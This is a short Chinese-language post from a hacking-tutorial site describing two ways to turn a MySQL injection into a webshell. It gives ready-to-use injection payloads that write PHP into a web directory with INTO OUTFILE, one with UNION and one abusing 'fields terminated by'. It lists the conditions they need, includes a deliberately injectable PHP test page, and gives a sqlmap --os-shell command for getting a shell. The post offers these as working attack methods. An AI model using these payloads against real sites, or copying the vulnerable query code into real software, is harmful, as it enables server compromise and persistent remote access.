登陆 注册

MySQL注入两种写入一句话快速拿WebShell的方法

WySec 2018-10-06 MySQL注入
黑白网(heibai.org)成立于2014年,多年来以其专业的视角,优质的服务为广大安全技术爱好者提供了目前国内最全的网络安全技术学习资料,普及中国网络安全知识,宣扬正确的黑客极客文化,全方面提高国内安全技术水平。

利用需要满足以下条件

root权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv

1.union

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23


<? phpinfo(); ?>为写入的内容可添加自己的一句话  /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名


2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23


第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。


效果如下:


@(J]SCRTCQ2(NQA4}~N[~2K.png

这里用的第二种方法是通过插入分隔符号来GetShell的,所以必须查询结果有多个列
一般情况下的注入点都是符合条件的。


SqlMap利用方法

以luan_test.php为例:


<?php

@$link= mysql_connect("localhost","root","");

mysql_select_db("mysql",$link);

$user = strtolower($_GET['user']);

if(strpos($user,"union") === false){

$sql= "SELECT * FROM user where user='{$user}'";

echo $sql . '<br>';

mysql_query($sql);

echo mysql_errno() . ": " . mysql_error(). " ";

}

?>


经测试,SqlMap最新版实际是支持这个方法的:

python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell


0EL_Q~0E[EK_9R~OC1)K0ZA.png


S[D`YDZ3[H`WPL9]E}VM%3Y.png



但是,如果–os-shell用不了,SqlMap有个写文件的选项,经测试不成功。

5Z(SVDACZHG`8Q8[0)[2K)G.png


也就是说,SqlMap只能传自己的WebShell

image.png

如果工具党遇到这种情况,直接使用SqlMap –os-shell然后用SqlMap上传的WebShell来操作就可以了


生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.